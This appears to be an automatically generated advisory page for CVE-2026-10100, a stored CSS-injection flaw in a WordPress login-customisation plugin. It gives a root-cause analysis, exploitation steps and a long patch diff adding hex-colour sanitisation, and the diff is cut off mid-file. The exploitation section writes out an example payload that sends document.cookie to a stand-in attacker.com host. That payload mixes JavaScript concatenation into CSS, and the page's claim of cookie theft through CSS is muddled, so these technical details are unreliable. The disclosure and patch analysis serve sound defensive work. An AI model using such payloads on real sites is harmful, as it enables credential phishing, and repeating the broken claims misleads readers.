Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 8, 2026

CVE-2026-10100: Simple Custom Login Page <= 1.0.3 Authenticated (Admin+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.0.3
Patched Version 1.0.4
Disclosed May 31, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-10100:
A stored cross-site scripting vulnerability exists in the Simple Custom Login Page plugin for WordPress versions up to and including 1.0.3. The vulnerability affects color settings fields (Page Background, Form Background, Text Color, Link Color) registered via the WordPress Settings API. An attacker with administrator-level access can inject arbitrary CSS rules into the login page, which are rendered for all unauthenticated visitors, enabling UI-redress and credential-phishing attacks. The CVSS score is 4.4 (Medium).

The root cause is a missing sanitization callback in the register_setting() calls for four color option fields. In the vulnerable code (class-simple-custom-login-page-admin.php), the plugin registers options using register_setting(‘simple-custom-login-page’, ‘simple_custom_login_page_background’) without a third argument specifying an array with a ‘sanitize_callback’. The same pattern applies to simple_custom_login_page_form_bg, simple_custom_login_page_text_color, and simple_custom_login_page_link_color. These option values are later output directly into an inline block on wp-login.php, with only esc_attr() used for escaping. esc_attr() does not escape CSS-context special characters such as ;, {, }, /, or *, allowing attackers to break out of the intended CSS property value and inject arbitrary CSS rules. The plugin’s public-facing output is handled in a separate file not shown in this diff but referenced as the location where the stored options are rendered.

Exploitation requires an authenticated session with administrator-level capabilities (manage_options). The attacker navigates to the plugin settings page at /wp-admin/options-general.php?page=simple-custom-login-page. Through the color input fields for any of the four vulnerable options, the attacker submits a value that contains a valid hex color followed by CSS syntax to break out of the property context. For example, submitting a value such as ‘#000000; } body { background: url(http://attacker.com/steal?cookie=’ + document.cookie + ‘); } /*’ for the ‘Page Background’ field would, when rendered in the block, close the existing CSS rule and inject arbitrary CSS that could exfiltrate data or alter the login page’s appearance. The payload is stored in the WordPress options table via update_option() and persists until modified.

The patch adds a sanitize_callback to each of the four vulnerable register_setting() calls. In the patched code (the right side of the diff), each call now includes a third argument: array( ‘sanitize_callback’ => ‘sanitize_hex_color’ ). For example, the vulnerable register_setting(‘simple-custom-login-page’, ‘simple_custom_login_page_background’) becomes register_setting(‘simple-custom-login-page’, ‘simple_custom_login_page_background’, array( ‘sanitize_callback’ => ‘sanitize_hex_color’ )). WordPress’s built-in sanitize_hex_color() function validates that the input is a valid 3-digit or 6-digit hexadecimal CSS color string prefixed with ‘#’. If the input does not match this pattern, the function returns an empty string, effectively stripping any CSS injection payloads before they are stored. This change ensures that only legitimate hex color values are persisted, eliminating the XSS vector.

If exploited, an administrator can inject arbitrary CSS rules into the WordPress login page. Every unauthenticated visitor to wp-login.php will execute the injected CSS in their browser. This allows UI-redress attacks where the attacker overlays fake login forms, credential-phishing by altering the page content or links, and potentially cookie theft by using CSS-based exfiltration techniques (e.g., background-image with URL that captures data). While direct JavaScript execution is not achieved via CSS injection, the attacker can manipulate the visual presentation of the login page to deceive users into revealing sensitive information. This is a stored XSS affecting the most sensitive page for credential entry.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simple-custom-login-page/admin/class-simple-custom-login-page-admin.php
+++ b/simple-custom-login-page/admin/class-simple-custom-login-page-admin.php
@@ -1,265 +1,265 @@
-<?php
-/**
- * The admin-specific functionality of the plugin.
- *
- * @link       https://profiles.wordpress.org/pattihis/
- * @since      1.0.0
- *
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/admin
- */
-
-// If this file is called directly, abort.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * The admin-specific functionality of the plugin.
- *
- * Defines the plugin name, version, and hooks to
- * enqueue the admin-specific stylesheet and JavaScript.
- *
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/admin
- * @author     George Pattichis <gpattihis@gmail.com>
- */
-class Simple_Custom_Login_Page_Admin {
-
-	/**
-	 * The ID of this plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 * @var      string    $plugin_name    The ID of this plugin.
-	 */
-	private $plugin_name;
-
-	/**
-	 * The version of this plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 * @var      string    $version    The current version of this plugin.
-	 */
-	private $version;
-
-	/**
-	 * Initialize the class and set its properties.
-	 *
-	 * @since    1.0.0
-	 * @param      string $plugin_name       The name of this plugin.
-	 * @param      string $version    The version of this plugin.
-	 */
-	public function __construct( $plugin_name, $version ) {
-
-		$this->plugin_name = $plugin_name;
-		$this->version     = $version;
-	}
-
-	/**
-	 * Register the stylesheets for the admin area.
-	 *
-	 * @since    1.0.0
-	 */
-	public function enqueue_styles() {
-
-		wp_enqueue_style( 'wp-color-picker' );
-		wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/simple-custom-login-page-admin.css', array(), $this->version, 'all' );
-	}
-
-	/**
-	 * Register the JavaScript for the admin area.
-	 *
-	 * @since    1.0.0
-	 */
-	public function enqueue_scripts() {
-
-		wp_enqueue_media();
-		wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/simple-custom-login-page-admin.js', array( 'jquery', 'wp-color-picker' ), $this->version, false );
-	}
-
-	/**
-	 * Register the admin menu
-	 *
-	 * @since    1.0.0
-	 */
-	public function simple_custom_login_page_admin_menu() {
-
-		$page_title = __( 'Simple Custom Login Settings', 'simple-custom-login-page' );
-		$menu_title = 'Simple Custom Login';
-		$capability = 'manage_options';
-		$menu_slug  = 'simple-custom-login-page';
-		$function   = array( $this, 'simple_custom_login_page_admin_page' );
-
-		add_options_page( $page_title, $menu_title, $capability, $menu_slug, $function );
-	}
-
-	/**
-	 * Render the admin menu page content
-	 *
-	 * @since  1.0.0
-	 * @access public
-	 */
-	public function simple_custom_login_page_admin_page() {
-		include_once 'partials/simple-custom-login-page-admin-display.php';
-	}
-
-	/**
-	 * Show custom links in Plugins Page
-	 *
-	 * @since  1.0.0
-	 * @access public
-	 * @param  array $links Default Links.
-	 * @param  array $file Plugin's root filepath.
-	 * @return array Links list to display in plugins page.
-	 */
-	public function simple_custom_login_page_plugin_links( $links, $file ) {
-
-		if ( SCLP_BASENAME === $file ) {
-			$scpt_links = '<a href="' . get_admin_url() . 'options-general.php?page=simple-custom-login-page" title="Plugin Options">' . __( 'Settings', 'simple-custom-login-page' ) . '</a>';
-			$scpt_visit = '<a href="https://gp-web.dev/" title="Contact" target="_blank" >' . __( 'Contact', 'simple-custom-login-page' ) . '</a>';
-			array_unshift( $links, $scpt_visit );
-			array_unshift( $links, $scpt_links );
-		}
-
-		return $links;
-	}
-
-	/**
-	 * Register the settings
-	 *
-	 * @since  1.0.0
-	 * @access public
-	 */
-	public function simple_custom_login_page_settings() {
-
-		add_settings_section(
-			'simple_custom_login_page_main_section',
-			'Customize Your Admin Login Page',
-			function () {
-				esc_html_e( 'Use the options below to personalize the login page to your admin dashboard.', 'simple-custom-login-page' );
-			},
-			'simple-custom-login-page'
-		);
-
-		add_settings_field(
-			'simple_custom_login_page_image',
-			'Logo Image',
-			function () {
-				$default = get_home_url() . '/wp-admin/images/wordpress-logo.svg';
-				if ( get_option( 'simple_custom_login_page_image' ) ) {
-					$img = get_option( 'simple_custom_login_page_image' );
-				} else {
-					$img = $default;
-				}
-				?>
-				<div class="sclp-image-selector">
-					<img id="upload_image_preview" src='<?php echo esc_url( $img ); ?>' width='300' height='100' data-default="<?php echo esc_url( $default ); ?>">
-					<button id="upload_image_button" class="button button-primary"><?php esc_html_e( 'Select Image', 'simple-custom-login-page' ); ?></button>
-					<button id="reset_image_button" class="button button-secondary"><?php esc_html_e( 'Reset', 'simple-custom-login-page' ); ?></button>
-					<input id="simple_custom_login_page_image" type="hidden" name="simple_custom_login_page_image" value=<?php echo esc_url( $img ); ?> />
-				</div>
-				<p class="sclp-info"><?php esc_html_e( 'Recommended dimensions width: 320px, height: 84px.', 'simple-custom-login-page' ); ?></p>
-				<?php
-			},
-			'simple-custom-login-page',
-			'simple_custom_login_page_main_section'
-		);
-		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_image' );
-
-		add_settings_field(
-			'simple_custom_login_page_url',
-			'Logo Link',
-			function () {
-				if ( get_option( 'simple_custom_login_page_url' ) ) {
-					$url = get_option( 'simple_custom_login_page_url' );
-				} else {
-					$url = get_home_url();
-				}
-				?>
-				<input type="text" name="simple_custom_login_page_url" value="<?php echo esc_url( $url ); ?>">
-				<?php
-			},
-			'simple-custom-login-page',
-			'simple_custom_login_page_main_section'
-		);
-		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_url' );
-
-		add_settings_field(
-			'simple_custom_login_page_background',
-			'Page Background',
-			function () {
-				if ( get_option( 'simple_custom_login_page_background' ) ) {
-					$color = get_option( 'simple_custom_login_page_background' );
-				} else {
-					$color = '#f0f0f1';
-				}
-
-				?>
-				<input type="text" name="simple_custom_login_page_background" id="simple_custom_login_page_background" value="<?php echo esc_html( $color ); ?>" data-default-color="#f0f0f1" />
-				<?php
-			},
-			'simple-custom-login-page',
-			'simple_custom_login_page_main_section'
-		);
-		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_background' );
-
-		add_settings_field(
-			'simple_custom_login_page_form_bg',
-			'Form Background',
-			function () {
-				if ( get_option( 'simple_custom_login_page_form_bg' ) ) {
-					$color = get_option( 'simple_custom_login_page_form_bg' );
-				} else {
-					$color = '#ffffff';
-				}
-
-				?>
-				<input type="text" name="simple_custom_login_page_form_bg" id="simple_custom_login_page_form_bg" value="<?php echo esc_html( $color ); ?>" data-default-color="#ffffff" />
-				<?php
-			},
-			'simple-custom-login-page',
-			'simple_custom_login_page_main_section'
-		);
-		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_form_bg' );
-
-		add_settings_field(
-			'simple_custom_login_page_text_color',
-			'Text Color',
-			function () {
-				if ( get_option( 'simple_custom_login_page_text_color' ) ) {
-					$color = get_option( 'simple_custom_login_page_text_color' );
-				} else {
-					$color = '#3c434a';
-				}
-
-				?>
-				<input type="text" name="simple_custom_login_page_text_color" id="simple_custom_login_page_text_color" value="<?php echo esc_html( $color ); ?>" data-default-color="#3c434a" />
-				<?php
-			},
-			'simple-custom-login-page',
-			'simple_custom_login_page_main_section'
-		);
-		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_text_color' );
-
-		add_settings_field(
-			'simple_custom_login_page_link_color',
-			'Link Color',
-			function () {
-				if ( get_option( 'simple_custom_login_page_link_color' ) ) {
-					$color = get_option( 'simple_custom_login_page_link_color' );
-				} else {
-					$color = '#50575e';
-				}
-
-				?>
-				<input type="text" name="simple_custom_login_page_link_color" id="simple_custom_login_page_link_color" value="<?php echo esc_html( $color ); ?>" data-default-color="#50575e" />
-				<?php
-			},
-			'simple-custom-login-page',
-			'simple_custom_login_page_main_section'
-		);
-		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_link_color' );
-	}
-}
+<?php
+/**
+ * The admin-specific functionality of the plugin.
+ *
+ * @link       https://profiles.wordpress.org/pattihis/
+ * @since      1.0.0
+ *
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/admin
+ */
+
+// If this file is called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * The admin-specific functionality of the plugin.
+ *
+ * Defines the plugin name, version, and hooks to
+ * enqueue the admin-specific stylesheet and JavaScript.
+ *
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/admin
+ * @author     George Pattichis <gpattihis@gmail.com>
+ */
+class Simple_Custom_Login_Page_Admin {
+
+	/**
+	 * The ID of this plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 * @var      string    $plugin_name    The ID of this plugin.
+	 */
+	private $plugin_name;
+
+	/**
+	 * The version of this plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 * @var      string    $version    The current version of this plugin.
+	 */
+	private $version;
+
+	/**
+	 * Initialize the class and set its properties.
+	 *
+	 * @since    1.0.0
+	 * @param      string $plugin_name       The name of this plugin.
+	 * @param      string $version    The version of this plugin.
+	 */
+	public function __construct( $plugin_name, $version ) {
+
+		$this->plugin_name = $plugin_name;
+		$this->version     = $version;
+	}
+
+	/**
+	 * Register the stylesheets for the admin area.
+	 *
+	 * @since    1.0.0
+	 */
+	public function enqueue_styles() {
+
+		wp_enqueue_style( 'wp-color-picker' );
+		wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/simple-custom-login-page-admin.css', array(), $this->version, 'all' );
+	}
+
+	/**
+	 * Register the JavaScript for the admin area.
+	 *
+	 * @since    1.0.0
+	 */
+	public function enqueue_scripts() {
+
+		wp_enqueue_media();
+		wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/simple-custom-login-page-admin.js', array( 'jquery', 'wp-color-picker' ), $this->version, false );
+	}
+
+	/**
+	 * Register the admin menu
+	 *
+	 * @since    1.0.0
+	 */
+	public function simple_custom_login_page_admin_menu() {
+
+		$page_title = __( 'Simple Custom Login Settings', 'simple-custom-login-page' );
+		$menu_title = 'Simple Custom Login';
+		$capability = 'manage_options';
+		$menu_slug  = 'simple-custom-login-page';
+		$function   = array( $this, 'simple_custom_login_page_admin_page' );
+
+		add_options_page( $page_title, $menu_title, $capability, $menu_slug, $function );
+	}
+
+	/**
+	 * Render the admin menu page content
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 */
+	public function simple_custom_login_page_admin_page() {
+		include_once 'partials/simple-custom-login-page-admin-display.php';
+	}
+
+	/**
+	 * Show custom links in Plugins Page
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 * @param  array $links Default Links.
+	 * @param  array $file Plugin's root filepath.
+	 * @return array Links list to display in plugins page.
+	 */
+	public function simple_custom_login_page_plugin_links( $links, $file ) {
+
+		if ( SCLP_BASENAME === $file ) {
+			$scpt_links = '<a href="' . get_admin_url() . 'options-general.php?page=simple-custom-login-page" title="Plugin Options">' . __( 'Settings', 'simple-custom-login-page' ) . '</a>';
+			$scpt_visit = '<a href="https://gp-web.dev/" title="Contact" target="_blank" >' . __( 'Contact', 'simple-custom-login-page' ) . '</a>';
+			array_unshift( $links, $scpt_visit );
+			array_unshift( $links, $scpt_links );
+		}
+
+		return $links;
+	}
+
+	/**
+	 * Register the settings
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 */
+	public function simple_custom_login_page_settings() {
+
+		add_settings_section(
+			'simple_custom_login_page_main_section',
+			'Customize Your Admin Login Page',
+			function () {
+				esc_html_e( 'Use the options below to personalize the login page to your admin dashboard.', 'simple-custom-login-page' );
+			},
+			'simple-custom-login-page'
+		);
+
+		add_settings_field(
+			'simple_custom_login_page_image',
+			'Logo Image',
+			function () {
+				$default = get_home_url() . '/wp-admin/images/wordpress-logo.svg';
+				if ( get_option( 'simple_custom_login_page_image' ) ) {
+					$img = get_option( 'simple_custom_login_page_image' );
+				} else {
+					$img = $default;
+				}
+				?>
+				<div class="sclp-image-selector">
+					<img id="upload_image_preview" src='<?php echo esc_url( $img ); ?>' width='300' height='100' data-default="<?php echo esc_url( $default ); ?>">
+					<button id="upload_image_button" class="button button-primary"><?php esc_html_e( 'Select Image', 'simple-custom-login-page' ); ?></button>
+					<button id="reset_image_button" class="button button-secondary"><?php esc_html_e( 'Reset', 'simple-custom-login-page' ); ?></button>
+					<input id="simple_custom_login_page_image" type="hidden" name="simple_custom_login_page_image" value=<?php echo esc_url( $img ); ?> />
+				</div>
+				<p class="sclp-info"><?php esc_html_e( 'Recommended dimensions width: 320px, height: 84px.', 'simple-custom-login-page' ); ?></p>
+				<?php
+			},
+			'simple-custom-login-page',
+			'simple_custom_login_page_main_section'
+		);
+		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_image' );
+
+		add_settings_field(
+			'simple_custom_login_page_url',
+			'Logo Link',
+			function () {
+				if ( get_option( 'simple_custom_login_page_url' ) ) {
+					$url = get_option( 'simple_custom_login_page_url' );
+				} else {
+					$url = get_home_url();
+				}
+				?>
+				<input type="text" name="simple_custom_login_page_url" value="<?php echo esc_url( $url ); ?>">
+				<?php
+			},
+			'simple-custom-login-page',
+			'simple_custom_login_page_main_section'
+		);
+		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_url' );
+
+		add_settings_field(
+			'simple_custom_login_page_background',
+			'Page Background',
+			function () {
+				if ( get_option( 'simple_custom_login_page_background' ) ) {
+					$color = get_option( 'simple_custom_login_page_background' );
+				} else {
+					$color = '#f0f0f1';
+				}
+
+				?>
+				<input type="text" name="simple_custom_login_page_background" id="simple_custom_login_page_background" value="<?php echo esc_html( $color ); ?>" data-default-color="#f0f0f1" />
+				<?php
+			},
+			'simple-custom-login-page',
+			'simple_custom_login_page_main_section'
+		);
+		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_background', array( 'sanitize_callback' => 'sanitize_hex_color' ) );
+
+		add_settings_field(
+			'simple_custom_login_page_form_bg',
+			'Form Background',
+			function () {
+				if ( get_option( 'simple_custom_login_page_form_bg' ) ) {
+					$color = get_option( 'simple_custom_login_page_form_bg' );
+				} else {
+					$color = '#ffffff';
+				}
+
+				?>
+				<input type="text" name="simple_custom_login_page_form_bg" id="simple_custom_login_page_form_bg" value="<?php echo esc_html( $color ); ?>" data-default-color="#ffffff" />
+				<?php
+			},
+			'simple-custom-login-page',
+			'simple_custom_login_page_main_section'
+		);
+		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_form_bg', array( 'sanitize_callback' => 'sanitize_hex_color' ) );
+
+		add_settings_field(
+			'simple_custom_login_page_text_color',
+			'Text Color',
+			function () {
+				if ( get_option( 'simple_custom_login_page_text_color' ) ) {
+					$color = get_option( 'simple_custom_login_page_text_color' );
+				} else {
+					$color = '#3c434a';
+				}
+
+				?>
+				<input type="text" name="simple_custom_login_page_text_color" id="simple_custom_login_page_text_color" value="<?php echo esc_html( $color ); ?>" data-default-color="#3c434a" />
+				<?php
+			},
+			'simple-custom-login-page',
+			'simple_custom_login_page_main_section'
+		);
+		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_text_color', array( 'sanitize_callback' => 'sanitize_hex_color' ) );
+
+		add_settings_field(
+			'simple_custom_login_page_link_color',
+			'Link Color',
+			function () {
+				if ( get_option( 'simple_custom_login_page_link_color' ) ) {
+					$color = get_option( 'simple_custom_login_page_link_color' );
+				} else {
+					$color = '#50575e';
+				}
+
+				?>
+				<input type="text" name="simple_custom_login_page_link_color" id="simple_custom_login_page_link_color" value="<?php echo esc_html( $color ); ?>" data-default-color="#50575e" />
+				<?php
+			},
+			'simple-custom-login-page',
+			'simple_custom_login_page_main_section'
+		);
+		register_setting( 'simple-custom-login-page', 'simple_custom_login_page_link_color', array( 'sanitize_callback' => 'sanitize_hex_color' ) );
+	}
+}
--- a/simple-custom-login-page/includes/class-simple-custom-login-page-activator.php
+++ b/simple-custom-login-page/includes/class-simple-custom-login-page-activator.php
@@ -1,36 +1,36 @@
-<?php
-/**
- * Fired during plugin activation
- *
- * @link       https://profiles.wordpress.org/pattihis/
- * @since      1.0.0
- *
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- */
-
-// If this file is called directly, abort.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Fired during plugin activation.
- *
- * This class defines all code necessary to run during the plugin's activation.
- *
- * @since      1.0.0
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- * @author     George Pattichis <gpattihis@gmail.com>
- */
-class Simple_Custom_Login_Page_Activator {
-
-	/**
-	 * We will leave this here in case we need it in the future.
-	 *
-	 * @since    1.0.0
-	 */
-	public static function activate() {
-	}
-}
+<?php
+/**
+ * Fired during plugin activation
+ *
+ * @link       https://profiles.wordpress.org/pattihis/
+ * @since      1.0.0
+ *
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ */
+
+// If this file is called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Fired during plugin activation.
+ *
+ * This class defines all code necessary to run during the plugin's activation.
+ *
+ * @since      1.0.0
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ * @author     George Pattichis <gpattihis@gmail.com>
+ */
+class Simple_Custom_Login_Page_Activator {
+
+	/**
+	 * We will leave this here in case we need it in the future.
+	 *
+	 * @since    1.0.0
+	 */
+	public static function activate() {
+	}
+}
--- a/simple-custom-login-page/includes/class-simple-custom-login-page-deactivator.php
+++ b/simple-custom-login-page/includes/class-simple-custom-login-page-deactivator.php
@@ -1,39 +1,39 @@
-<?php
-/**
- * Fired during plugin deactivation
- *
- * @link       https://profiles.wordpress.org/pattihis/
- * @since      1.0.0
- *
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- */
-
-// If this file is called directly, abort.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Fired during plugin deactivation.
- *
- * This class defines all code necessary to run during the plugin's deactivation.
- *
- * @since      1.0.0
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- * @author     George Pattichis <gpattihis@gmail.com>
- */
-class Simple_Custom_Login_Page_Deactivator {
-
-	/**
-	 * We will leave this here in case we need it in the future.
-	 *
-	 * We could purge our options on deactivations but we will use the uninstall.php file
-	 * in the case the user is only temporarily deactivating.
-	 *
-	 * @since    1.0.0
-	 */
-	public static function deactivate() {
-	}
-}
+<?php
+/**
+ * Fired during plugin deactivation
+ *
+ * @link       https://profiles.wordpress.org/pattihis/
+ * @since      1.0.0
+ *
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ */
+
+// If this file is called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Fired during plugin deactivation.
+ *
+ * This class defines all code necessary to run during the plugin's deactivation.
+ *
+ * @since      1.0.0
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ * @author     George Pattichis <gpattihis@gmail.com>
+ */
+class Simple_Custom_Login_Page_Deactivator {
+
+	/**
+	 * We will leave this here in case we need it in the future.
+	 *
+	 * We could purge our options on deactivations but we will use the uninstall.php file
+	 * in the case the user is only temporarily deactivating.
+	 *
+	 * @since    1.0.0
+	 */
+	public static function deactivate() {
+	}
+}
--- a/simple-custom-login-page/includes/class-simple-custom-login-page-i18n.php
+++ b/simple-custom-login-page/includes/class-simple-custom-login-page-i18n.php
@@ -1,46 +1,46 @@
-<?php
-/**
- * Define the internationalization functionality
- *
- * Loads and defines the internationalization files for this plugin
- * so that it is ready for translation.
- *
- * @link       https://profiles.wordpress.org/pattihis/
- * @since      1.0.0
- *
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- */
-
-// If this file is called directly, abort.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Define the internationalization functionality.
- *
- * Loads and defines the internationalization files for this plugin
- * so that it is ready for translation.
- *
- * @since      1.0.0
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- * @author     George Pattichis <gpattihis@gmail.com>
- */
-class Simple_Custom_Login_Page_I18n {
-
-	/**
-	 * Load the plugin text domain for translation.
-	 *
-	 * @since    1.0.0
-	 */
-	public function load_plugin_textdomain() {
-
-		load_plugin_textdomain(
-			'simple-custom-login-page',
-			false,
-			dirname( dirname( plugin_basename( __FILE__ ) ) ) . '/languages/'
-		);
-	}
-}
+<?php
+/**
+ * Define the internationalization functionality
+ *
+ * Loads and defines the internationalization files for this plugin
+ * so that it is ready for translation.
+ *
+ * @link       https://profiles.wordpress.org/pattihis/
+ * @since      1.0.0
+ *
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ */
+
+// If this file is called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Define the internationalization functionality.
+ *
+ * Loads and defines the internationalization files for this plugin
+ * so that it is ready for translation.
+ *
+ * @since      1.0.0
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ * @author     George Pattichis <gpattihis@gmail.com>
+ */
+class Simple_Custom_Login_Page_I18n {
+
+	/**
+	 * Load the plugin text domain for translation.
+	 *
+	 * @since    1.0.0
+	 */
+	public function load_plugin_textdomain() {
+
+		load_plugin_textdomain(
+			'simple-custom-login-page',
+			false,
+			dirname( dirname( plugin_basename( __FILE__ ) ) ) . '/languages/'
+		);
+	}
+}
--- a/simple-custom-login-page/includes/class-simple-custom-login-page-loader.php
+++ b/simple-custom-login-page/includes/class-simple-custom-login-page-loader.php
@@ -1,129 +1,129 @@
-<?php
-/**
- * Register all actions and filters for the plugin
- *
- * @link       https://profiles.wordpress.org/pattihis/
- * @since      1.0.0
- *
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- */
-
-// If this file is called directly, abort.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Register all actions and filters for the plugin.
- *
- * Maintain a list of all hooks that are registered throughout
- * the plugin, and register them with the WordPress API. Call the
- * run function to execute the list of actions and filters.
- *
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- * @author     George Pattichis <gpattihis@gmail.com>
- */
-class Simple_Custom_Login_Page_Loader {
-
-	/**
-	 * The array of actions registered with WordPress.
-	 *
-	 * @since    1.0.0
-	 * @access   protected
-	 * @var      array    $actions    The actions registered with WordPress to fire when the plugin loads.
-	 */
-	protected $actions;
-
-	/**
-	 * The array of filters registered with WordPress.
-	 *
-	 * @since    1.0.0
-	 * @access   protected
-	 * @var      array    $filters    The filters registered with WordPress to fire when the plugin loads.
-	 */
-	protected $filters;
-
-	/**
-	 * Initialize the collections used to maintain the actions and filters.
-	 *
-	 * @since    1.0.0
-	 */
-	public function __construct() {
-
-		$this->actions = array();
-		$this->filters = array();
-	}
-
-	/**
-	 * Add a new action to the collection to be registered with WordPress.
-	 *
-	 * @since    1.0.0
-	 * @param    string $hook             The name of the WordPress action that is being registered.
-	 * @param    object $component        A reference to the instance of the object on which the action is defined.
-	 * @param    string $callback         The name of the function definition on the $component.
-	 * @param    int    $priority         Optional. The priority at which the function should be fired. Default is 10.
-	 * @param    int    $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1.
-	 */
-	public function add_action( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
-		$this->actions = $this->add( $this->actions, $hook, $component, $callback, $priority, $accepted_args );
-	}
-
-	/**
-	 * Add a new filter to the collection to be registered with WordPress.
-	 *
-	 * @since    1.0.0
-	 * @param    string $hook             The name of the WordPress filter that is being registered.
-	 * @param    object $component        A reference to the instance of the object on which the filter is defined.
-	 * @param    string $callback         The name of the function definition on the $component.
-	 * @param    int    $priority         Optional. The priority at which the function should be fired. Default is 10.
-	 * @param    int    $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1.
-	 */
-	public function add_filter( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
-		$this->filters = $this->add( $this->filters, $hook, $component, $callback, $priority, $accepted_args );
-	}
-
-	/**
-	 * A utility function that is used to register the actions and hooks into a single
-	 * collection.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 * @param    array  $hooks            The collection of hooks that is being registered (that is, actions or filters).
-	 * @param    string $hook             The name of the WordPress filter that is being registered.
-	 * @param    object $component        A reference to the instance of the object on which the filter is defined.
-	 * @param    string $callback         The name of the function definition on the $component.
-	 * @param    int    $priority         The priority at which the function should be fired.
-	 * @param    int    $accepted_args    The number of arguments that should be passed to the $callback.
-	 * @return   array                                  The collection of actions and filters registered with WordPress.
-	 */
-	private function add( $hooks, $hook, $component, $callback, $priority, $accepted_args ) {
-
-		$hooks[] = array(
-			'hook'          => $hook,
-			'component'     => $component,
-			'callback'      => $callback,
-			'priority'      => $priority,
-			'accepted_args' => $accepted_args,
-		);
-
-		return $hooks;
-	}
-
-	/**
-	 * Register the filters and actions with WordPress.
-	 *
-	 * @since    1.0.0
-	 */
-	public function run() {
-
-		foreach ( $this->filters as $hook ) {
-			add_filter( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
-		}
-
-		foreach ( $this->actions as $hook ) {
-			add_action( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
-		}
-	}
-}
+<?php
+/**
+ * Register all actions and filters for the plugin
+ *
+ * @link       https://profiles.wordpress.org/pattihis/
+ * @since      1.0.0
+ *
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ */
+
+// If this file is called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Register all actions and filters for the plugin.
+ *
+ * Maintain a list of all hooks that are registered throughout
+ * the plugin, and register them with the WordPress API. Call the
+ * run function to execute the list of actions and filters.
+ *
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ * @author     George Pattichis <gpattihis@gmail.com>
+ */
+class Simple_Custom_Login_Page_Loader {
+
+	/**
+	 * The array of actions registered with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @access   protected
+	 * @var      array    $actions    The actions registered with WordPress to fire when the plugin loads.
+	 */
+	protected $actions;
+
+	/**
+	 * The array of filters registered with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @access   protected
+	 * @var      array    $filters    The filters registered with WordPress to fire when the plugin loads.
+	 */
+	protected $filters;
+
+	/**
